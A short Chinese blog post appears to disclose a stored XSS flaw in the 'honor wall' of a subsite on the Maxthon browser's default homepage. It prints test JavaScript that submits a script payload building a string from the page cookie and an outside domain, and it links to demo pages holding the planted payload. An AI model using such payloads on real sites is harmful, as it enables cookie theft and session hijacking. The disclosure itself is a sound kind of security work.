遨游分站存储型xss

遨游浏览器的默认主页是，此分站是此主页的一个应用，涛涛电脑知识网，访问比较大。
 存在存储型xss，和浏览器结合危害比较大。
 
荣誉墙服务端没有过滤，涛涛电脑知识网，所有input标签无一幸免。
测试代码，浏览器本地提交：
document.getElementById("widget-wall-to").value="天马行空工作室";
document.getElementById("widget-wall-from").value="tmxk.org";
document.getElementById("widget-wall-words").value="<script>s="//tmxk.org/m/c?="+documents.cookie;alert("xss by i@tmxk.org&#10&#10"+s);</script>";
document.getElementById("form").submit();
演示地址：
?m=show&id=33481
?m=show&id=33482
 
 

 
作者：random_

• 没有相关文章